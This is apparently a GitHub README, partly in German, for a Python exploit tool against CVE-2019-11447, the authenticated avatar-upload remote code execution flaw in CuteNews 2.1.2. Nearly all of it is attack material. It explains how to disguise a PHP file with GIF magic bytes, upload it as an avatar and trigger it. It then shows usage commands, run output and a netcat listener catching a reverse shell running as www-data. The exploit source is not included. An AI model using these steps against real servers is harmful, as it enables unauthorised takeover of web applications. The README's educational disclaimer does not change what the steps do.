coldfusionx/cve-2019-11447_cutenews-avataruploadrceExploit-Code für CVE-2019-11447 alias CuteNews 2.1.2 Avatar upload RCE (Authenticated)
Exploit-Code für CVE-2019-11447 aka CuteNews 2.1.2 Avatar-Upload RCE (authentifiziert)
Exploit-Links:
Erwartetes Ergebnis: Einloggen/Registrieren eines Kontos, Erstellen einer benutzerdefinierten PHP-Datei mit .gif-Magic-Bytes, Hochladen der Datei als Avatar und Auslösen derselben, um Remote Code Execution zu erreichen.
Nur für Bildungszwecke und Tests in Unternehmensumgebungen vorgesehen.
Dieser Exploit wurde unter Python 3.8.6 getestet.
cfx: ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]
CuteNews 2.1.2 Avatar upload RCE (Authenticated) by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL CuteNews URL (Example: http://127.0.0.1)
-u USERNAME, --username USERNAME
Username to Login/Register
-p PASSWORD, --password PASSWORD
Password to Login/Register
-e EMAIL, --email EMAIL
Email to Login/Register
Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y
Dieser Exploit erwartet vier Argumente für den Start:
Zusätzlich erforderliche Benutzereingaben:
Beispiel: [^] Select your PHP file -> rev.php
Andernfalls muss der Benutzer den Pfad zur PHP-Datei angeben:
Beispiel: [^] Select your PHP file -> ~/Downloads/rev.php
In jedem Fall gibt das Exploit den Speicherort der hochgeladenen Datei zur weiteren Verwendung aus.
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] User exists ! Logged in Successfully
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] Credentials cold:fusion Successfully Registered
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit